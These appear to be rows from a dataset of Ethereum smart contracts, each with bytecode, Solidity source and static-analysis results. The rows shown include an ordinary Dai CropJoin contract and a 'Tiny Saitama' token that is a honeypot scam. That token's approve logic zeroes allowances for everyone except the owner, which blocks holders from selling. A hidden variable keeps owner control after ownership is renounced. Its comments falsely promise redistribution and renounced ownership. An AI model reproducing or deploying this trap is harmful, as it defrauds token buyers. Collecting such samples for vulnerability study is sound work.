ffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e59190613683565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294a91906134a1565b60405180910390fd5b5060008385612962919061380f565b9050809150509392505050565b600080600060065490506000678ac7230489e8000090506129a3678ac7230489e8000060065461267590919063ffffffff16565b8210156129c157600654678ac7230489e800009350935050506129ca565b81819350935050505b9091565b60008060008060008060008060006129eb8a600d54600e54612bd5565b92509250925060006129fb6126bf565b90506000806000612a0e8e878787612c6b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f3565b905092915050565b6000808284612a8f91906137b9565b905083811015612ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acb906135a3565b60405180910390fd5b8091505092915050565b6000612ae86126bf565b90506000612aff8284612cf490919063ffffffff16565b9050612b5381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb082600654612a3690919063ffffffff16565b600681905550612bcb81600754612a8090919063ffffffff16565b6007819055505050565b600080600080612c016064612bf3888a612cf490919063ffffffff16565b61267590919063ffffffff16565b90506000612c2b6064612c1d888b612cf490919063ffffffff16565b61267590919063ffffffff16565b90506000612c5482612c46858c612a3690919063ffffffff16565b612a3690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c848589612cf490919063ffffffff16565b90506000612c9b8689612cf490919063ffffffff16565b90506000612cb28789612cf490919063ffffffff16565b90506000612cdb82612ccd8587612a3690919063ffffffff16565b612a3690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d075760009050612d69565b60008284612d159190613840565b9050828482612d24919061380f565b14612d64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5b906135c3565b60405180910390fd5b809150505b92915050565b6000612d82612d7d84613738565b613713565b90508083825260208201905082856020860282011115612da557612da4613ade565b5b60005b85811015612dd55781612dbb8882612ddf565b845260208401935060208301925050600181019050612da8565b5050509392505050565b600081359050612dee81613ede565b92915050565b600081519050612e0381613ede565b92915050565b60008083601f840112612e1f57612e1e613ad9565b5b8235905067ffffffffffffffff811115612e3c57612e3b613ad4565b5b602083019150836020820283011115612e5857612e57613ade565b5b9250929050565b600082601f830112612e7457612e73613ad9565b5b8135612e84848260208601612d6f565b91505092915050565b600081359050612e9c81613ef5565b92915050565b600081359050612eb181613f0c565b92915050565b600060208284031215612ecd57612ecc613ae8565b5b6000612edb84828501612ddf565b91505092915050565b600060208284031215612efa57612ef9613ae8565b5b6000612f0884828501612df4565b91505092915050565b60008060408385031215612f2857612f27613ae8565b5b6000612f3685828601612ddf565b9250506020612f4785828601612ddf565b9150509250929050565b600080600060608486031215612f6a57612f69613ae8565b5b6000612f7886828701612ddf565b9350506020612f8986828701612ddf565b9250506040612f9a86828701612ea2565b9150509250925092565b60008060408385031215612fbb57612fba613ae8565b5b6000612fc985828601612ddf565b9250506020612fda85828601612ea2565b9150509250929050565b600080600060408486031215612ffd57612ffc613ae8565b5b600084013567ffffffffffffffff81111561301b5761301a613ae3565b5b61302786828701612e09565b9350935050602061303a86828701612e8d565b9150509250925092565b60006020828403121561305a57613059613ae8565b5b600082013567ffffffffffffffff81111561307857613077613ae3565b5b61308484828501612e5f565b91505092915050565b6000602082840312156130a3576130a2613ae8565b5b60006130b184828501612e8d565b91505092915050565b6000602082840312156130d0576130cf613ae8565b5b60006130de84828501612ea2565b91505092915050565b6000806000806080858703121561310157613100613ae8565b5b600061310f87828801612ea2565b945050602061312087828801612ea2565b935050604061313187828801612ea2565b925050606061314287828801612ea2565b91505092959194509250565b600061315a8383613166565b60208301905092915050565b61316f816138ce565b82525050565b61317e816138ce565b82525050565b600061318f82613774565b6131998185613797565b93506131a483613764565b8060005b838110156131d55781516131bc888261314e565b97506131c78361378a565b9250506001810190506131a8565b5085935050505092915050565b6131eb816138e0565b82525050565b6131fa81613923565b82525050565b61320981613935565b82525050565b600061321a8261377f565b61322481856137a8565b935061323481856020860161396b565b61323d81613aed565b840191505092915050565b60006132556023836137a8565b915061326082613afe565b604082019050919050565b6000613278603f836137a8565b915061328382613b4d565b604082019050919050565b600061329b602a836137a8565b91506132a682613b9c565b604082019050919050565b60006132be601c836137a8565b91506132c982613beb565b602082019050919050565b60006132e16026836137a8565b91506132ec82613c14565b604082019050919050565b60006133046022836137a8565b915061330f82613c63565b604082019050919050565b60006133276023836137a8565b915061333282613cb2565b604082019050919050565b600061334a601b836137a8565b915061335582613d01565b602082019050919050565b600061336d6021836137a8565b915061337882613d2a565b604082019050919050565b60006133906020836137a8565b915061339b82613d79565b602082019050919050565b60006133b36029836137a8565b91506133be82613da2565b604082019050919050565b60006133d66025836137a8565b91506133e182613df1565b604082019050919050565b60006133f96023836137a8565b915061340482613e40565b604082019050919050565b600061341c6024836137a8565b915061342782613e8f565b604082019050919050565b61343b8161390c565b82525050565b61344a81613916565b82525050565b60006020820190506134656000830184613175565b92915050565b600060208201905061348060008301846131e2565b92915050565b600060208201905061349b60008301846131f1565b92915050565b600060208201905081810360008301526134bb818461320f565b905092915050565b600060208201905081810360008301526134dc81613248565b9050919050565b600060208201905081810360008301526134fc8161326b565b9050919050565b6000602082019050818103600083015261351c8161328e565b9050919050565b6000602082019050818103600083015261353c816132b1565b9050919050565b6000602082019050818103600083015261355c816132d4565b9050919050565b6000602082019050818103600083015261357c816132f7565b9050919050565b6000602082019050818103600083015261359c8161331a565b9050919050565b600060208201905081810360008301526135bc8161333d565b9050919050565b600060208201905081810360008301526135dc81613360565b9050919050565b600060208201905081810360008301526135fc81613383565b9050919050565b6000602082019050818103600083015261361c816133a6565b9050919050565b6000602082019050818103600083015261363c816133c9565b9050919050565b6000602082019050818103600083015261365c816133ec565b9050919050565b6000602082019050818103600083015261367c8161340f565b9050919050565b60006020820190506136986000830184613432565b92915050565b600060a0820190506136b36000830188613432565b6136c06020830187613200565b81810360408301526136d28186613184565b90506136e16060830185613175565b6136ee6080830184613432565b9695505050505050565b600060208201905061370d6000830184613441565b92915050565b600061371d61372e565b9050613729828261399e565b919050565b6000604051905090565b600067ffffffffffffffff82111561375357613752613aa5565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c48261390c565b91506137cf8361390c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380457613803613a18565b5b828201905092915050565b600061381a8261390c565b91506138258361390c565b92508261383557613834613a47565b5b828204905092915050565b600061384b8261390c565b91506138568361390c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561388f5761388e613a18565b5b828202905092915050565b60006138a58261390c565b91506138b08361390c565b9250828210156138c3576138c2613a18565b5b828203905092915050565b60006138d9826138ec565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061392e82613947565b9050919050565b60006139408261390c565b9050919050565b600061395282613959565b9050919050565b6000613964826138ec565b9050919050565b60005b8381101561398957808201518184015260208101905061396e565b83811115613998576000848401525b50505050565b6139a782613aed565b810181811067ffffffffffffffff821117156139c6576139c5613aa5565b5b80604052505050565b60006139da8261390c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a0d57613a0c613a18565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613ee7816138ce565b8114613ef257600080fd5b50565b613efe816138e0565b8114613f0957600080fd5b50565b613f158161390c565b8114613f2057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205b57373f1a4a2f38696169b36c4945bf19d60a299cf29a562836b337dbabb67a64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 676 |
0x7a74a44d9e4e2cc1990fe723fcd6c4258c0b0b38 | /**
*Submitted for verification at Etherscan.io on 2021-10-26
*/
/*
🐺tiny SAITAMA🐺
STEALTH LAUNCH TODAY 🚀
Every time a buy or sell happens there is a 8% tax added which redistributes to the holders and helps the team to developing.
The goal of Tiny Saitama for now is to build a strong and active community. After this, the main goal is to get listed on CG & CMC as fast as possible to gain the communities trust and attract new investors.
💰Buy Link (Slippage 8~12%):
🔒Locked LP:
🔒Renounced Ownership:
📈Chart:
📊TOKENOMICS📊
Total Supply : 1000000000
Max buy : 10000000(1%) some minutes will be increased later!
1% Redistribution
2% Buyback to support the chart
2% Game Development
3% CMC, CG, Dextools + Marketing
🖥Telegram : https://t.me/tinySAITAMAERC20
🖥Website: https://tinysaitama.one/
🖥Twitter: https://twitter.com/tinySAITAMA
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract TinySaitama is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100000* 10**9* 10**18;
string private _name = ' Tiny Saitama ';
string private _symbol = 'TINYSAITAMA';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212205e87423d034cde4e0bdc4b4ff9c458b72d350265b6a2208ee1299be512fc7d9564736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 677 |
0x82D8bfDB61404C796385f251654F6d7e92092b5D | // SPDX-License-Identifier: AGPL-3.0-or-later
// Copyright (C) 2021 Dai Foundation
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.6.12;
contract CropJoin {
address public implementation;
mapping (address => uint256) public wards;
uint256 public live;
event Rely(address indexed usr);
event Deny(address indexed usr);
event SetImplementation(address indexed);
modifier auth {
require(wards[msg.sender] == 1, "CropJoin/not-authed");
_;
}
constructor() public {
wards[msg.sender] = 1;
emit Rely(msg.sender);
live = 1;
}
function rely(address usr) external auth {
wards[usr] = 1;
emit Rely(usr);
}
function deny(address usr) external auth {
wards[usr] = 0;
emit Deny(usr);
}
function setImplementation(address implementation_) external auth {
implementation = implementation_;
emit SetImplementation(implementation_);
}
fallback() external {
address _impl = implementation;
require(_impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
let size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
interface VatLike {
function urns(bytes32, address) external view returns (uint256, uint256);
function dai(address) external view returns (uint256);
function gem(bytes32, address) external view returns (uint256);
function slip(bytes32, address, int256) external;
}
interface ERC20 {
function balanceOf(address owner) external view returns (uint256);
function transfer(address dst, uint256 amount) external returns (bool);
function transferFrom(address src, address dst, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function decimals() external returns (uint8);
}
// receives tokens and shares them among holders
contract CropJoinImp {
bytes32 slot0;
mapping (address => uint256) wards;
uint256 live;
VatLike public immutable vat; // cdp engine
bytes32 public immutable ilk; // collateral type
ERC20 public immutable gem; // collateral token
uint256 public immutable dec; // gem decimals
ERC20 public immutable bonus; // rewards token
uint256 public share; // crops per gem [bonus decimals * ray / wad]
uint256 public total; // total gems [wad]
uint256 public stock; // crop balance [bonus decimals]
mapping (address => uint256) public crops; // crops per user [bonus decimals]
mapping (address => uint256) public stake; // gems per user [wad]
uint256 immutable internal to18ConversionFactor;
uint256 immutable internal toGemConversionFactor;
// --- Events ---
event Join(address indexed urn, address indexed usr, uint256 val);
event Exit(address indexed urn, address indexed usr, uint256 val);
event Flee(address indexed urn, address indexed usr, uint256 val);
event Tack(address indexed src, address indexed dst, uint256 wad);
modifier auth {
require(wards[msg.sender] == 1, "CropJoin/not-authed");
_;
}
constructor(address vat_, bytes32 ilk_, address gem_, address bonus_) public {
vat = VatLike(vat_);
ilk = ilk_;
gem = ERC20(gem_);
uint256 dec_ = ERC20(gem_).decimals();
require(dec_ <= 18);
dec = dec_;
to18ConversionFactor = 10 ** (18 - dec_);
toGemConversionFactor = 10 ** dec_;
bonus = ERC20(bonus_);
}
function add(uint256 x, uint256 y) public pure returns (uint256 z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint256 x, uint256 y) public pure returns (uint256 z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint256 x, uint256 y) public pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function divup(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(x, sub(y, 1)) / y;
}
uint256 constant WAD = 10 ** 18;
function wmul(uint256 x, uint256 y) public pure returns (uint256 z) {
z = mul(x, y) / WAD;
}
function wdiv(uint256 x, uint256 y) public pure returns (uint256 z) {
z = mul(x, WAD) / y;
}
function wdivup(uint256 x, uint256 y) public pure returns (uint256 z) {
z = divup(mul(x, WAD), y);
}
uint256 constant RAY = 10 ** 27;
function rmul(uint256 x, uint256 y) public pure returns (uint256 z) {
z = mul(x, y) / RAY;
}
function rmulup(uint256 x, uint256 y) public pure returns (uint256 z) {
z = divup(mul(x, y), RAY);
}
function rdiv(uint256 x, uint256 y) public pure returns (uint256 z) {
z = mul(x, RAY) / y;
}
// Net Asset Valuation [wad]
function nav() public virtual view returns (uint256) {
uint256 _nav = gem.balanceOf(address(this));
return mul(_nav, to18ConversionFactor);
}
// Net Assets per Share [wad]
function nps() public view returns (uint256) {
if (total == 0) return WAD;
else return wdiv(nav(), total);
}
function crop() internal virtual returns (uint256) {
return sub(bonus.balanceOf(address(this)), stock);
}
function harvest(address from, address to) internal {
if (total > 0) share = add(share, rdiv(crop(), total));
uint256 last = crops[from];
uint256 curr = rmul(stake[from], share);
if (curr > last) require(bonus.transfer(to, curr - last));
stock = bonus.balanceOf(address(this));
}
